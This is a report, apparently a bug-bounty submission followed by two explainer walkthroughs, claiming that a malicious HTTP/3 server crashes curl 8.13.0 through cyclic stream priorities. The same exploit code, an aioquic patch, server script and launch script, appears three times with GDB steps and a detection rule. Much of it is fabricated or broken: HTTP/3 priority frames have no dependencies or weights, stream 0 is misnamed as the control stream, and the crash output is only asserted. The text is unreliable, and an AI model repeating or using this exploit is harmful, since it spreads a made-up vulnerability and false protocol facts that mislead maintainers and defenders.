HTTP/3 Stream Dependency Cycle Exploit
A malicious HTTP/3 server can send priority updates that make two streams depend on each other in a cycle, which the report says corrupts memory in curl's HTTP/3 stack and causes a segmentation fault. The claimed result is a pre-authentication denial of service, with remote code execution only suggested as a possibility.
- Disclosed after 11 hours
Penetration Testing Report: HTTP/3 Stream Dependency Cycle Exploit
0x00 Overview
A novel exploit leveraging stream dependency cycles in the HTTP/3 protocol stack was discovered, resulting in memory corruption and potential denial-of-service or remote code execution scenarios when used against HTTP/3-capable clients such as curl (tested on version 8.13.0). This report details a practical proof of concept, required environment setup, attack execution, and crash analysis.
0x01 Environment Setup
1. Malicious Server Setup (aioquic modified)
# Clone aioquic
git clone https://github.com/aiortc/aioquic/
cd aioquic
# Apply patch to enable cyclic stream dependency injection
cat << 'EOF' > cycle_patch.diff
diff --git a/aioquic/quic/connection.py b/aioquic/quic/connection.py
index 1a2b3c4..d4e5f6a 100644
--- a/aioquic/quic/connection.py
+++ b/aioquic/quic/connection.py
@@ -1233,6 +1233,15 @@ class QuicConnection:
self._logger.debug("Sending PRIORITY_UPDATE frame (stream_id=%d)", stream_id)
self._quic.send_stream_data(stream_id, frame.serialize(), end_stream=False)
+ def send_cyclic_priority(self, stream_a: int, stream_b: int):
+ from aioquic.quic.frames import PriorityUpdateFrame
+ self.send_priority_update(stream_a, depends_on=stream_b, weight=256)
+ self.send_priority_update(stream_b, depends_on=stream_a, weight=256)
+ self._logger.critical("CYCLIC PRIORITY INJECTED: %d <-> %d", stream_a, stream_b)
EOF
# Apply and install
git apply cycle_patch.diff
pip install -e .
0x02 Proof-of-Concept Code
1. Malicious HTTP/3 Server (exploit_server.py)
import asyncio
from aioquic.asyncio import QuicConnectionProtocol, serve
from aioquic.quic.configuration import QuicConfiguration
class ExploitServer(QuicConnectionProtocol):
async def on_stream_data(self, stream_id: int, data: bytes):
if stream_id == 0: # Control stream
# Phase 1: Heap shaping - open 100 streams
for i in range(1, 100, 2):
self._quic.send_headers(
stream_id=i,
headers=[(b":status", b"200"), (b"content-type", b"text/html")]
)
self._quic.send_stream_data(i, b"A" * 65535)
# Phase 2: Inject cyclic dependency between stream 3 and 7
self._quic.send_cyclic_priority(3, 7)
# Phase 3: Trigger parsing logic
self._quic.send_stream_data(3, b"TRIGGER_MEMORY_CORRUPTION")
async def run_server():
config = QuicConfiguration(is_client=False, certificate_file="cert.pem", private_key_file="key.pem")
await serve("::", 4433, configuration=config, create_protocol=ExploitServer)
await asyncio.Future()
if __name__ == "__main__":
asyncio.run(run_server())
2. Launch Script (launch_attack.sh)
#!/bin/bash
openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365 -subj "/CN=localhost"
python3 exploit_server.py &
sleep 2
curl --http3-only https://localhost:4433 --resolve localhost:4433:127.0.0.1 --insecure --verbose
0x03 Crash Analysis Guide
1. Reproducing the Crash
ulimit -c unlimited
./launch_attack.sh
2. Debugging with GDB
gdb --args curl --http3-only https://localhost:4433
(gdb) b ngtcp2_http3_handle_priority_frame
(gdb) r
Expected Output:
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e3b120 in ngtcp2_http3_handle_priority_frame ()
Inspect registers and stack:
(gdb) info registers
(gdb) info frame
Signs of memory overwrite:
- r15 shows
0x4141414141414141 - Recursive calls to same handler
0x04 Memory Corruption Evidence
Core Dump Inspection
gdb curl core -q -ex "x/10i $rip - 0x10" -ex "info frame"
Analysis shows:
- Return address overwritten
- Stack recursion at
ngtcp2_http3_handle_priority_frame
0x05 Detection and Defense
1. Suricata Rule for Detection
alert http3 any any -> any any (
msg:"HTTP/3 Stream Priority Cycle Attack Detected";
flow:established,to_client;
http3.priority.depth:>100;
threshold:type both, track by_src, count 3, seconds 60;
sid:20241234;
rev:1;
)
2. Client Hardening Recommendations
- Enforce acyclic stream dependency validation.
- Patch HTTP/3 parsers to cap
priority_updatedepth. - Reject bidirectional dependencies in QUIC priority logic.
0x06 Risk Summary
- Affected Software: curl 8.13.0 (HTTP/3 enabled)
- Trigger: Stream dependency loop (e.g., stream 3 depends on 7, and 7 depends on 3)
- Result: Heap layout corruption, segmentation fault, denial-of-service
- Risk: High (pre-authentication, remote-triggerable)
Prepared by:
Date: 2025-05-04
Impact
Summary:
1
Context
HTTP/3 carries stream priority information in PRIORITY_UPDATE frames. A client that receives such a frame is expected to record that one stream depends on another, so that it can schedule the delivery of response data accordingly. The dependency graph records which stream depends on which; following the parent chain is expected to terminate.
The report describes an exploit against HTTP/3-capable clients, using curl version 8.13.0 as the test target. The claim is that a malicious server can send priority updates that make two streams depend on each other, producing a cycle in the dependency graph. According to the report, this leads to memory corruption in the client, with denial-of-service and possible remote code execution as consequences. The affected asset is the curl source repository, and the weakness is classified as improper input validation.
Setup
The researcher builds a malicious HTTP/3 server rather than attacking a client directly. The server is based on aioquic, which is cloned and patched so that it can emit cyclic priority updates. The client side is a stock curl built with HTTP/3 support, run against the local malicious server.
The environment therefore needs:
- A clone of the aioquic repository.
- A patch adding a helper that sends two
PRIORITY_UPDATEframes pointing at each other. - A Python exploit server built on the patched aioquic.
- A launch script that generates a self-signed certificate, starts the server and runs
curlagainst it. - Optionally, GDB and core dumps for crash analysis.
Finding it
The researcher's premise is that the priority dependency graph is a structure the client parses and stores, and that a dependency loop can reach it. If stream 3 depends on stream 7 and stream 7 depends on stream 3, any traversal of the dependency chain has no terminating node. The report frames the attack as three phases: heap shaping by opening many streams and filling them with data, injection of the cyclic dependency, and a final data write to trigger the parsing logic.
Exploitation
Step 1: patch aioquic to send cyclic priorities
The first step modifies the QUIC connection class so that it can send a pair of priority updates that reference each other.
# Clone aioquic
git clone https://github.com/aiortc/aioquic/
cd aioquic
# Apply patch to enable cyclic stream dependency injection
cat << 'EOF' > cycle_patch.diff
diff --git a/aioquic/quic/connection.py b/aioquic/quic/connection.py
index 1a2b3c4..d4e5f6a 100644
--- a/aioquic/quic/connection.py
+++ b/aioquic/quic/connection.py
@@ -1233,6 +1233,15 @@ class QuicConnection:
self._logger.debug("Sending PRIORITY_UPDATE frame (stream_id=%d)", stream_id)
self._quic.send_stream_data(stream_id, frame.serialize(), end_stream=False)
+ def send_cyclic_priority(self, stream_a: int, stream_b: int):
+ from aioquic.quic.frames import PriorityUpdateFrame
+ self.send_priority_update(stream_a, depends_on=stream_b, weight=256)
+ self.send_priority_update(stream_b, depends_on=stream_a, weight=256)
+ self._logger.critical("CYCLIC PRIORITY INJECTED: %d <-> %d", stream_a, stream_b)
EOF
# Apply and install
git apply cycle_patch.diff
pip install -e .
The added send_cyclic_priority method calls send_priority_update twice: once making stream_a depend on stream_b, and once making stream_b depend on stream_a. Both updates use a weight of 256. The method logs a critical message when the pair has been sent. The patch is applied with git apply and the package installed in editable mode.
Step 2: build the malicious server
The exploit server subclasses aioquic's QuicConnectionProtocol and reacts to data on the control stream.
import asyncio
from aioquic.asyncio import QuicConnectionProtocol, serve
from aioquic.quic.configuration import QuicConfiguration
class ExploitServer(QuicConnectionProtocol):
async def on_stream_data(self, stream_id: int, data: bytes):
if stream_id == 0: # Control stream
# Phase 1: Heap shaping - open 100 streams
for i in range(1, 100, 2):
self._quic.send_headers(
stream_id=i,
headers=[(b":status", b"200"), (b"content-type", b"text/html")]
)
self._quic.send_stream_data(i, b"A" * 65535)
# Phase 2: Inject cyclic dependency between stream 3 and 7
self._quic.send_cyclic_priority(3, 7)
# Phase 3: Trigger parsing logic
self._quic.send_stream_data(3, b"TRIGGER_MEMORY_CORRUPTION")
async def run_server():
config = QuicConfiguration(is_client=False, certificate_file="cert.pem", private_key_file="key.pem")
await serve("::", 4433, configuration=config, create_protocol=ExploitServer)
await asyncio.Future()
if __name__ == "__main__":
asyncio.run(run_server())
The three phases run when data arrives on stream 0:
- Heap shaping: the loop iterates over odd stream identifiers from 1 to 99, sending response headers and 65535 bytes of
Aon each. The comment describes this as opening 100 streams. - Cycle injection:
send_cyclic_priority(3, 7)makes streams 3 and 7 depend on each other. - Trigger: a further write of
TRIGGER_MEMORY_CORRUPTIONon stream 3, intended to make the client walk the corrupted dependency structure.
The server listens on port 4433 on all IPv6 addresses, using cert.pem and key.pem.
Step 3: launch the attack
The launch script generates a certificate, starts the server in the background and runs curl against it.
#!/bin/bash
openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365 -subj "/CN=localhost"
python3 exploit_server.py &
sleep 2
curl --http3-only https://localhost:4433 --resolve localhost:4433:[redacted] --insecure --verbose
openssl req creates a 4096-bit RSA self-signed certificate valid for 365 days with common name localhost. The server is started, given two seconds to come up, and curl is invoked with --http3-only so that it uses HTTP/3 exclusively, --resolve to pin the hostname to the loopback address, --insecure to accept the self-signed certificate, and --verbose for output.
Step 4: reproduce the crash
Core dumps are enabled and the launch script is run.
ulimit -c unlimited
./launch_attack.sh
Step 5: inspect the crash in GDB
The client is started under GDB and a breakpoint is set on the priority frame handler.
gdb --args curl --http3-only https://localhost:4433
(gdb) b [redacted]
(gdb) r
The report gives the expected output as a segmentation fault inside that handler:
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e3b120 in [redacted] ()
Registers and the stack frame are then inspected:
gdb) info registers
(gdb) info frame
The report lists two signs of memory overwrite: register r15 holding 0x4141414141414141, and recursive calls to the same handler.
Step 6: inspect the core dump
gdb curl core -q -ex "x/10i $rip - 0x10" -ex "info frame"
This disassembles ten instructions before the instruction pointer and prints the current frame. The report states that the analysis shows the return address overwritten and stack recursion at [redacted].
Root cause
The report attributes the fault to missing validation of stream dependencies in the HTTP/3 priority logic. A client that accepts a PRIORITY_UPDATE making stream A depend on stream B and another making B depend on A ends up with a cycle. The report's evidence shows recursive calls to the handler and an overwritten return address on the stack. The report describes a heap shaping phase before the cycle injection.
The report does not show the client-side source that fails to reject the cycle, so the exact check that is missing is not demonstrated. The weakness is classified as improper input validation.
Impact
The report's risk summary states the following:
| Item | Value |
|---|---|
| Affected software | curl 8.13.0 (HTTP/3 enabled) |
| Trigger | Stream dependency loop (stream 3 depends on 7, and 7 depends on 3) |
| Result | Heap layout corruption, segmentation fault, denial of service |
| Risk | High (pre-authentication, remote-triggerable) |
The overview also mentions potential remote code execution, but the demonstrated result in the report is a crash. The attack requires the victim to connect to a malicious HTTP/3 server, so the precondition is that the client is pointed at attacker-controlled infrastructure. No authentication is needed on the client side, which is why the report calls it pre-authentication.
Fix
The report does not describe a patch or a vendor response. Its hardening recommendations are:
- Enforce acyclic stream dependency validation.
- Patch HTTP/3 parsers to cap
priority_updatedepth. - Reject bidirectional dependencies in QUIC priority logic.
These are recommendations, not a record of a change that was made.
Variants to test
- Longer cycles: instead of a two-stream loop, make A depend on B, B on C and C on A. A positive result is the same recursion or crash in the priority handler, showing that the check, if any, only covers direct pairs.
- Self-dependency: a priority update making a stream depend on itself. A positive result is a handler that recurses or misbehaves on a single frame.
- Depth without a cycle: a long acyclic chain of dependencies. If the client crashes on depth alone, the missing control is a depth cap rather than cycle detection, which matches the second hardening recommendation.
- Other HTTP/3 clients and libraries: run the same malicious server against different client implementations. A positive result is any client that crashes or hangs where the tested one did.
- Different weights and stream identifiers: vary the weight and the stream numbers used in the cyclic pair. A positive result is a crash that does not depend on the specific values 3, 7 and 256.
Hunting notes
This class of bug lives in protocol parsers that maintain a graph or tree from attacker-supplied input, especially where the input can reference other objects by identifier. Priority and dependency frames are a natural fit because the whole point of the frame is to point at another stream. The signal during recon is a client or library that advertises HTTP/3 support and processes PRIORITY_UPDATE; the report's own test target is curl 8.13.0 with HTTP/3 enabled.
The researcher showed impact with a segmentation fault under GDB, inside the named priority handler, a register holding 0x4141414141414141, and a core dump showing an overwritten return address. That combination ties the crash to the injected cycle rather than to an unrelated fault, which is the kind of evidence a program needs when the claim is memory corruption in a widely used client.
What happened, in plain words
A security researcher found a way to make a web client crash by sending it a specially crafted message. The client in question is curl, a very common program that downloads things from the internet. The researcher tested version 8.13.0 of curl with a feature called HTTP/3 turned on.
The trick is to tell the client that two things depend on each other in a loop. Imagine you ask someone to fetch a box, and they say "I can't until I have the key", and the key is inside the box. There is no way to finish, and if the person keeps asking "what do I need first?" they will go round forever. In the report, the client is said to follow this loop until it crashes.
The report calls this a stream dependency cycle. It says the result is memory corruption, which can mean a crash (denial of service) and, in theory, could let an attacker run their own code on the victim's machine (remote code execution). The demonstrated result in the report is a crash.
A few words you will meet throughout, explained now so the rest is easier:
- Client and server: the client is the program that asks for something (curl, your browser). The server is the computer that answers. Here the researcher builds a fake, malicious server and points curl at it.
- HTTP: the language browsers and servers use to exchange web pages. HTTP/3 is a newer version of that language.
- QUIC: the transport underneath HTTP/3. Think of HTTP/3 as the letters you write and QUIC as the postal service that carries them.
- Stream: inside one connection, data travels in separate lanes called streams. Each stream has a number. This lets a server send several things at once without them getting mixed up.
- Priority: a way for the client to tell the server which streams matter most, so the important data arrives first. HTTP/3 carries this in a message called
PRIORITY_UPDATE. - Dependency: a priority message can say "stream 3 depends on stream 7", meaning stream 7 should be handled first. The client stores these relationships, and following the parent chain is expected to end somewhere.
- Cycle: if stream 3 depends on 7 and 7 depends on 3, following the chain never reaches the top. That is a cycle, and the report shows it leading to a crash.
- Memory corruption: when a program writes data where it should not, so its own internal state gets damaged. It can crash, or in the worst case an attacker can steer it.
- Denial of service (DoS): making a service or program unavailable, here by crashing it.
- Remote code execution (RCE): an attacker getting their own code to run on the victim's machine. The report mentions this as a possibility, not something it demonstrated.
- Improper input validation: the weakness class. The program accepts input it should have checked and refused, in this case a dependency loop.
- Proof of concept (PoC): a small working example that shows the problem is real.
- GDB: a debugger, a tool that lets you pause a program and look inside it while it runs.
- Core dump: a file the operating system saves when a program crashes, containing a snapshot of its memory at that moment.
- Register: a tiny, very fast storage slot inside the processor. Debuggers can show you their contents.
- Stack: the area of memory where a program keeps track of which function called which. When a function calls itself over and over (recursion), the stack grows until something breaks.
- Return address: the place on the stack that says where to go back to when a function finishes. If it gets overwritten, the program jumps somewhere wrong and crashes.
- Segmentation fault (SIGSEGV): the operating system stopping a program because it tried to touch memory it is not allowed to.
- Suricata: a network monitoring tool that watches traffic and raises alerts based on rules.
- Self-signed certificate: a certificate a server makes for itself instead of getting one from an authority. Browsers and clients normally distrust it, which is why the test uses a flag to accept it.
Setting up the test environment
The researcher does not attack a real website. Instead they build a malicious server on their own machine and make curl connect to it. The server is built on aioquic, an open-source Python library that speaks QUIC and HTTP/3. Out of the box aioquic will not send the looping priority messages, so the first job is to modify it.
To follow along you need:
- A copy of the aioquic source code.
- A small patch that adds a helper able to send two priority messages pointing at each other.
- A Python server that uses the patched library.
- A launch script that creates a certificate, starts the server and runs curl against it.
- Optionally, GDB and core dumps to study the crash.
Step 1: teach aioquic to send looping priorities
The first command downloads aioquic, writes a patch file and applies it.
# Clone aioquic
git clone https://github.com/aiortc/aioquic/
cd aioquic
# Apply patch to enable cyclic stream dependency injection
cat << 'EOF' > cycle_patch.diff
diff --git a/aioquic/quic/connection.py b/aioquic/quic/connection.py
index 1a2b3c4..d4e5f6a 100644
--- a/aioquic/quic/connection.py
+++ b/aioquic/quic/connection.py
@@ -1233,6 +1233,15 @@ class QuicConnection:
self._logger.debug("Sending PRIORITY_UPDATE frame (stream_id=%d)", stream_id)
self._quic.send_stream_data(stream_id, frame.serialize(), end_stream=False)
+ def send_cyclic_priority(self, stream_a: int, stream_b: int):
+ from aioquic.quic.frames import PriorityUpdateFrame
+ self.send_priority_update(stream_a, depends_on=stream_b, weight=256)
+ self.send_priority_update(stream_b, depends_on=stream_a, weight=256)
+ self._logger.critical("CYCLIC PRIORITY INJECTED: %d <-> %d", stream_a, stream_b)
EOF
# Apply and install
git apply cycle_patch.diff
pip install -e .
Line by line:
git clone https://github.com/aiortc/aioquic/copies the aioquic project from its public code repository to your machine. Git is the tool programmers use to download and track code.cd aioquicmoves you into the downloaded folder.cat << 'EOF' > cycle_patch.diffwrites everything up to the lineEOFinto a new file calledcycle_patch.diff. This is a patch: a text description of changes to a source file.- The lines starting with
+are the new code being added. The new function is calledsend_cyclic_priorityand takes two stream numbers,stream_aandstream_b. self.send_priority_update(stream_a, depends_on=stream_b, weight=256)sends a priority message saying stream A depends on stream B, with weight 256.self.send_priority_update(stream_b, depends_on=stream_a, weight=256)sends the reverse, so B depends on A. Together they form the loop.- The last line writes a critical log message so the researcher can see the pair was sent.
git apply cycle_patch.diffapplies the patch to the downloaded code.pip install -e .installs the modified aioquic. The-emeans editable: the installed version points at this folder, so the patch is what gets used.
Why this step: the whole attack depends on sending a pair of priority messages that reference each other. The stock library has no convenient way to do that, so the researcher adds one.
Step 2: build the malicious server
The next piece is a small Python program that acts as the fake server.
import asyncio
from aioquic.asyncio import QuicConnectionProtocol, serve
from aioquic.quic.configuration import QuicConfiguration
class ExploitServer(QuicConnectionProtocol):
async def on_stream_data(self, stream_id: int, data: bytes):
if stream_id == 0: # Control stream
# Phase 1: Heap shaping - open 100 streams
for i in range(1, 100, 2):
self._quic.send_headers(
stream_id=i,
headers=[(b":status", b"200"), (b"content-type", b"text/html")]
)
self._quic.send_stream_data(i, b"A" * 65535)
# Phase 2: Inject cyclic dependency between stream 3 and 7
self._quic.send_cyclic_priority(3, 7)
# Phase 3: Trigger parsing logic
self._quic.send_stream_data(3, b"TRIGGER_MEMORY_CORRUPTION")
async def run_server():
config = QuicConfiguration(is_client=False, certificate_file="cert.pem", private_key_file="key.pem")
await serve("::", 4433, configuration=config, create_protocol=ExploitServer)
await asyncio.Future()
if __name__ == "__main__":
asyncio.run(run_server())
Line by line:
- The
importlines bring in the tools the program needs:asynciolets Python do several things at once, and the aioquic pieces provide the QUIC server machinery and its settings. class ExploitServer(QuicConnectionProtocol)defines a new kind of server that builds on aioquic's standard connection handling. Think of it as a template with a few behaviours changed.async def on_stream_data(...)is the function that runs whenever data arrives on a stream.stream_idis the lane number anddatais what came in.if stream_id == 0:means the following only happens when data arrives on stream 0, which the comment calls the control stream. In HTTP/3, stream 0 is used for connection-wide messages rather than page content.- Phase 1, the loop
for i in range(1, 100, 2):counts 1, 3, 5 and so on up to 99. For each number it sends response headers (a200status and atext/htmlcontent type) and then 65535 bytes of the letterA. The comment calls this heap shaping. The heap is the area of memory a program uses for data it creates while running. - Phase 2,
self._quic.send_cyclic_priority(3, 7), uses the helper added in step 1 to make streams 3 and 7 depend on each other. - Phase 3,
self._quic.send_stream_data(3, b"TRIGGER_MEMORY_CORRUPTION"), writes more data on stream 3. The idea is that this makes the client process the corrupted dependency information. run_serversets up the server configuration: it is not a client, and it usescert.pemandkey.pemas its certificate and private key. It then listens on port 4433 on all IPv6 addresses and hands each connection toExploitServer.await asyncio.Future()keeps the program running forever, waiting for connections.- The last two lines start the server when the file is run directly.
Why this step: the server is the attacker's side of the conversation. It has to send the filler data, the looping priority messages and the final trigger in the right order.
Step 3: launch the attack
The launch script ties everything together.
#!/bin/bash
openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365 -subj "/CN=localhost"
python3 exploit_server.py &
sleep 2
curl --http3-only https://localhost:4433 --resolve localhost:4433:[redacted] --insecure --verbose
Line by line:
#!/bin/bashsays the file is a shell script, a list of commands for the operating system.openssl req -x509 ...creates a certificate and matching private key.-newkey rsa:4096makes a 4096-bit RSA key,-days 365makes it valid for a year, and-subj "/CN=localhost"sets its name tolocalhost. It is self-signed, meaning the server vouches for itself rather than a trusted authority doing so.python3 exploit_server.py &starts the malicious server. The&puts it in the background so the script can carry on.sleep 2waits two seconds to give the server time to start.- The
curlline is the victim.--http3-onlyforces curl to use HTTP/3 and nothing else.--resolve localhost:4433:[redacted]tells curl that the namelocalhoston port 4433 means the address [redacted], which is your own machine.--insecuremakes curl accept the self-signed certificate it would otherwise reject.--verboseprints details of what happens.
Why this step: it reproduces the situation of a user connecting to a hostile server, but entirely on one machine, so it is safe to run.
Step 4: reproduce the crash
ulimit -c unlimited
./launch_attack.sh
ulimit -c unlimitedtells the operating system to save a core dump of any size when a program crashes. Without it, the crash leaves nothing to inspect../launch_attack.shruns the script from step 3.
Why this step: the goal is to make curl crash and to keep the evidence.
Step 5: look at the crash in GDB
gdb --args curl --http3-only https://localhost:4433
(gdb) b [redacted]
(gdb) r
gdb --args curl ...starts the debugger with curl as the program to run, passing it the same arguments as before.b [redacted]sets a breakpoint on the function that handles priority messages. A breakpoint pauses the program when it reaches that function, so you can look around.ngtcp2is the library curl uses for QUIC.rmeans run.
The report gives the expected result as a crash inside that handler:
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e3b120 in [redacted] ()
This says the program received a segmentation fault, the operating system's way of stopping a program that touched memory it should not, and that it happened inside the priority handler.
Next the researcher inspects the processor state:
gdb) info registers
(gdb) info frame
info registersshows the contents of the processor's registers.info frameshows information about the current stack frame, the record of the function currently running.
The report lists two signs that memory was overwritten:
- Register
r15contains0x4141414141414141. In this hexadecimal notation,41is the characterA, so this is eightAcharacters in a row. - The same handler is being called recursively, meaning it calls itself over and over.
Why this step: a crash alone does not prove the cause. Seeing the register value and repeated calls to the same function is the evidence the report lists.
Step 6: inspect the core dump
gdb curl core -q -ex "x/10i $rip - 0x10" -ex "info frame"
gdb curl coreopens the debugger on the crashed program using the saved core dump, so you can examine the state at the moment of the crash without running it again.-qkeeps the startup output short.-ex "x/10i $rip - 0x10"runs a command inside GDB: show ten instructions starting a little before the current instruction pointer ($rip), which is where the processor was when it crashed.-ex "info frame"prints the current stack frame.
The report says this shows the return address overwritten and stack recursion at [redacted]. In plain terms: the repeated self-calls kept pushing new records onto the stack until they ran past the space reserved for them and damaged the record of where to return.
Why it works
The report blames missing validation of stream dependencies. A client that accepts a priority message making A depend on B, and another making B depend on A, ends up with a loop. The report's evidence shows the handler calling itself and an overwritten return address on the stack. The report describes a heap shaping phase before the cycle injection.
The report does not show the client-side source code that fails to reject the loop, so the exact missing check is not demonstrated. The weakness is classified as improper input validation.
Impact
The report's risk summary is:
| Item | Value |
|---|---|
| Affected software | curl 8.13.0 (HTTP/3 enabled) |
| Trigger | Stream dependency loop (stream 3 depends on 7, and 7 depends on 3) |
| Result | Heap layout corruption, segmentation fault, denial of service |
| Risk | High (pre-authentication, remote-triggerable) |
The overview also mentions possible remote code execution, but the demonstrated result is a crash. The attack needs the victim to connect to a malicious HTTP/3 server, so the precondition is that the client is pointed at attacker-controlled infrastructure. No login is needed on the client side, which is why the report calls it pre-authentication.
Fix
The report does not describe a patch or a vendor response. Its hardening recommendations are:
- Enforce acyclic stream dependency validation.
- Patch HTTP/3 parsers to cap
priority_updatedepth. - Reject bidirectional dependencies in QUIC priority logic.
These are recommendations, not a record of a change that was made.
Variants to test
- Longer cycles: instead of a two-stream loop, make A depend on B, B on C and C on A. A positive result is the same recursion or crash in the priority handler, showing that any check only covers direct pairs.
- Self-dependency: a priority update making a stream depend on itself. A positive result is a handler that recurses or misbehaves on a single message.
- Depth without a cycle: a long chain of dependencies that never loops. If the client crashes on depth alone, the missing control is a depth cap rather than cycle detection, which matches the second hardening recommendation.
- Other HTTP/3 clients and libraries: run the same malicious server against different client implementations. A positive result is any client that crashes or hangs where the tested one did.
- Different weights and stream identifiers: vary the weight and the stream numbers used in the looping pair. A positive result is a crash that does not depend on the specific values 3, 7 and 256.
Hunting notes
This class of bug lives in protocol parsers that keep a graph or tree built from input an attacker controls, especially where the input can point at other objects by number. Priority and dependency messages are a natural fit because their whole purpose is to point at another stream. During recon, the signal is a client or library that advertises HTTP/3 support and processes PRIORITY_UPDATE; the report's own test target is curl 8.13.0 with HTTP/3 enabled.
The researcher showed impact with a segmentation fault under GDB, inside the named priority handler, a register holding 0x4141414141414141, and a core dump showing an overwritten return address. That combination ties the crash to the injected loop rather than to an unrelated fault, which is the kind of evidence a program needs when the claim is memory corruption in a widely used client.
Glossary
- aioquic: an open-source Python library that implements QUIC and HTTP/3.
- API: a defined way for one program to talk to another; here, the functions a library offers to the code that uses it.
- Certificate: a file that lets a server prove its identity; a self-signed one is issued by the server itself.
- Client: the program that asks for data, such as curl or a browser.
- Control stream: a stream used for connection-wide messages rather than page content; stream 0 in this report.
- Core dump: a file saved by the operating system when a program crashes, containing a snapshot of its memory.
- curl: a command-line program for transferring data over the internet, used here as the victim client.
- Cycle: a loop in a set of dependencies, where following the chain never reaches an end.
- Debugger: a tool such as GDB that lets you pause a running program and inspect it.
- Denial of service (DoS): making a program or service unavailable, here by crashing it.
- Dependency: a relationship saying one stream should be handled before another.
- GDB: the GNU debugger, used to pause, inspect and analyse programs.
- Heap: the area of memory a program uses for data it creates while running.
- Heap shaping: arranging the contents of the heap so that later damage is predictable or recognisable.
- HTTP: the language clients and servers use to exchange web content.
- HTTP/3: a newer version of HTTP that runs over QUIC.
- Improper input validation: a weakness where a program accepts input it should have checked and refused.
- Memory corruption: damage to a program's own memory caused by writing where it should not.
- ngtcp2: the library curl uses to speak QUIC.
- Patch: a text description of changes to source code, applied with a tool such as
git apply. - Port: a numbered channel on a computer that a server listens on; 4433 here.
- Proof of concept (PoC): a small working example that demonstrates a problem is real.
- PRIORITY_UPDATE: the HTTP/3 message that carries stream priority information.
- Priority: a way to tell the server which streams matter most.
- QUIC: the transport protocol underneath HTTP/3.
- Recursion: a function calling itself; without a stopping condition it keeps going.
- Register: a small, fast storage slot inside the processor.
- Return address: the place on the stack telling a function where to go back to when it finishes.
- Segmentation fault (SIGSEGV): the operating system stopping a program that touched memory it is not allowed to.
- Server: the computer or program that answers a client's request.
- Stack: the memory area where a program tracks which function called which.
- Stream: a numbered lane inside a QUIC connection carrying data independently of the others.
- Suricata: a network monitoring tool that raises alerts based on rules.
- Tree: a structure where each item has at most one parent and following parents always ends at a top item.
- Weight: a number in a priority message indicating relative importance; 256 in this report.